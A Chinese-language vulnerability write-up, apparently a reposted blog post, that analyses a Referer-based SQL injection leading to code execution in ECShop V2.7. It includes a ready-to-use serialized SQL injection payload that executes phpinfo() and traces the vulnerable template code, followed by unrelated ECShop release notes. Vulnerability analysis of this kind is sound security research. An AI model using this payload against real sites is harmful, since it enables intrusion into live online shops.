Ecshop V2.7代码执行漏洞分析

0x01

此漏洞形成是由于未对Referer的值进行过滤,首先导致SQL注入,其次导致任意代码执行。

0x02

payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

0x03

漏洞分析:首先,问题产生文件为user.php。

可以看到的是。首先从客户端过来的Referer可控,导致$back_act变量可控。往下,assign函数注册变量,display函数输出文件内容。首先先看一下 user_passport.dwt 文件内容

可以看到此处会将$back_act变量传入此模板。跟进display函数:

此时,在display函数中,$filename = 'user+passport.dwt' ,跟进fetch函数:

    /**
     * 处理模板文件
     *
     * @access  public
     * @param   string      $filename
     * @param   sting      $cache_id
     *
     * @return  sring
     */
    function fetch($filename, $cache_id = '')
    {
        if (!$this->_seterror)
        {
            error_reporting(E_ALL ^ E_NOTICE);
        }
        $this->_seterror++;

        if (strncmp($filename,'str:', 4) == 0)
        {
            $out = $this->_eval($this->fetch_str(substr($filename, 4)));
        }
        else
        {
            if ($this->_checkfile)
            {
                if (!file_exists($filename))
                {
                    $filename = $this->template_dir . '/' . $filename;
                }
            }
            else
            {
                $filename = $this->template_dir . '/' . $filename;
            }

            if ($this->direct_output)
            {
                $this->_current_file = $filename;

                $out = $this->_eval($this->fetch_str(file_get_contents($filename)));
            }
            else
            {
                if ($cache_id && $this->caching)
                {
                    $out = $this->template_out;
                }
                else
                {
                    if (!in_array($filename, $this->template))
                    {
                        $this->template[] = $filename;
                    }

                    $out = $this->make_compiled($filename);

                    if ($cache_id)
                    {
                        $cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
                        $data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
                        $out = str_replace("\r", '', $out);

                        while (strpos($out, "\n\n") !== false)
                        {
                            $out = str_replace("\n\n", "\n", $out);
                        }

                        $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
                        if (!is_dir($hash_dir))
                        {
                            mkdir($hash_dir);
                        }
                        if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
                        {
                            trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
                        }
                        $this->template = array();
                    }
                }
            }
        }

        $this->_seterror--;
        if (!$this->_seterror)
        {
            error_reporting($this->_errorlevel);
        }

        return $out; // 返回html数据
    }

 此时,在fetch函数中,$filename = 'user+passport.dwt' ,$this->_checkfile = false,$this->template_dir = ecshop/themes/dafault/,$this->direct_output = false,然后再次跟进make_compiled函数:

    /**
     * 编译模板函数
     *
     * @access  public
     * @param   string      $filename
     *
     * @return  sring        编译后文件地址
     */
    function make_compiled($filename)
    {
        $name = $this->compile_dir . '/' . basename($filename) . '.php';
        if ($this->_expires)
        {
            $expires = $this->_expires - $this->cache_lifetime;
        }
        else
        {
            $filestat = @stat($name);
            $expires  = $filestat['mtime'];
        }

        $filestat = @stat($filename);
        if ($filestat['mtime'] <= $expires && !$this->force_compile)
        {
            if (file_exists($name))
            {
                $source = $this->_require($name);
                if ($source == '')
                {
                    $expires = 0;
                }
            }
            else
            {
                $source = '';
                $expires = 0;
            }
        }

        if ($this->force_compile || $filestat['mtime'] > $expires)
        {
            $this->_current_file = $filename;
            $source = $this->fetch_str(file_get_contents($filename));

            if (file_put_contents($name, $source, LOCK_EX) === false)
            {
                trigger_error('can\'t write:' . $name);
            }

            $source = $this->_eval($source);
        }

        return $source;
    }

 此函数是将模板中的变量解析,并将其内容读出,此时,查看display函数中$out变量会将Referer的值传入至模板变量中。

 

 查看$this->_schash的值:

 

 此值是固定的,所以$val的内容可控,其值为:

ads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}

 跟进insert_mod函数:

 

 由于此函数中$name的值可控。可以看到将$name的值分为2个变量。所以跟进insert_ads函数,其值为数组:

 

 

 可以看到产生sql注入漏洞,由于2个变量可控,可以将  'ORDER BY rnd LIMIT '  注释掉,并进行联合查询。所以 $arr['id']的值可以为:' /*  而$arr['num']的值为:*/payload,如此就将其注释掉。

 然后此sql语句查询的结果$res可控,

  

 再看由于$position_style可控,并且添加前缀str: 则正好满足fetch函数的条件,还需注意此处有一个条件,$row['position_id'] != $arr['id'],所以SQL查询出的$row['position_id']的值必须为 ' /*,16进制为0x27202f2a:

  

 此时跟入fetch_str函数:

  

 可以看到有2条正则表达式,第一条是将$source中的 <? 任意内容?> 替换为空。可以不用管。第二条是获取  {}  中的内容,并调用$this->select({})。此处正则会将$position_style中的{$abc'];echo phpinfo/**/();//}取出

 跟进select函数:

 

 由于次函数中 $tag = $abc'];echo phpinfo/**/();//  在跟进get_val函数:

 

 可以看到要想执行这条语句,则必须闭合 ] 方括号。于是可以构造为 $abc'];phpinfo();// 将payload如此构造,则$p的值为:$this->_var['$abc'];phpinfo();//'] ,然后回到fetch函数去查看_evel函数:

 

 

 POC :   https://www.cnblogs.com/Spec/p/11017846.html

转载于:https://www.cnblogs.com/Spec/p/10818682.html

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。 [新增] 新增商品分类页筛选功能 [新增] 新增可转换模版皮肤功能 [新增] 新增商品列表直接购买时可选择属性功能 [新增] 新增英文语言包 [新增] 新增会员注册信息自定义功能 [新增] 新增发货单和退货单功能 [新增] 新增转换shopex程序4.8.4以前版本转换功能 [新增] 新增安装程序时校验管理员密码和提示更改表前缀 [新增] 新增文章列表搜索文章标题功能 [新增] 新增浏览历史清空功能 [新增] 新增浏览历史,销售排行和属性相关商品显示图片和价格功能 [新增] 新增授权证书功能。 [变更] 变更使用新的体验数据。 [变更] 变更了后台帮助系统。 [变更] 首页的flash广告位可设置自定义功能 [变更] 拍卖活动到期及一口价提交订单后前台不显示这项活动 [变更] 已经结束的团购活动前台不显示这项活动 [变更] 留言板中也显示商品详情页的评论信息 [变更] 超值礼包关联商品更改为所有选择商品 [变更] 变更管理员不可修改自己的管理权限的功能 [变更] 后台模板设置品牌专区增加数量选项 [变更] 设置模板页面改为按照libs.xml文件设置是否可更改 [变更] 后台商品品牌列表页增加搜索功能 [变更] 首信易支付插件变更校验功能 [变更] 高级搜索关键词在数据库中更改为逗号分隔 [变更] 无rss页面添加rss输出 [变更] 后台报表统计的销售明细和会员排行增加分页 [变更] 购物流程中注册部分添加客户端校验功能 [变更] 变更财付通的支付方式描述 [变更] 变更页脚版权显示方式 [修正] 修正sitemap不能输出复杂重写的问题 [修正] 修正搜索引擎抓取不到商品价格的问题 [修正] 修正超值礼包的减少库存和购买时库存提醒功能 [修正] 修正分配权限后管理员无法看到会员列表和添加会员的问题 [修正] 修正易宝所有支付插件,快钱及快钱神州行支付插件在支付平台查看到的订单号不相符的问题 [修正] 修正修改计费价格时分段计费语言项重复显示的问题 [修正] 修正重量分段计价计算错误的问题 [修正] 修正设置会员价后报价单显示不正确的问题 [修正] 修正拍卖详情页如有销售排行的话商品图片显示错误的问题 [修正] 修正设置商品信息的关联文章时无法搜索中文文章标题的问题 [修正] 修正流量分析与流量分析报表下载数据不一致的问题 [修正] 修正设置模板页面增加动态内容后前台不显示的问题 [修正] 修正高级搜索页面选中“隐藏已脱销的商品”后搜索结果页没有选中的问题 [修正] 修正留言板中与会员登录框的验证码有冲突的问题 [修正] 修正虚拟卡购买后,后台发货成功,但状态不改变为已发货的问题 [修正] 修正会员中心订单页面超值礼包连接不正确问题 [修正] 修正购物车无法记录属性的问题 [修正] 修正在设置模板中留言板和搜索页面增加促销信息后调取不到数据的错误 [修正] 修正在uchome feed调用的时候如果商品默认没有图片,在uchome里边图片显示为x [修正] 修正用户中心从我的订单放回购物车商品属性及价格不正确的问题 [修正] 修正购物车中的有商品时在积分商城用积分兑换商品时结算中心页面显示不正确的问题 [修正] 修正商品包装费用没有小数的问题 [修正] 修正wap文章详情页面显示html标签的问题     ecshop相关阅读 ecshop相关教程 CShop 搬家教程:ecshop备份数据 ecshop转移数据 ecshop更换主机
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值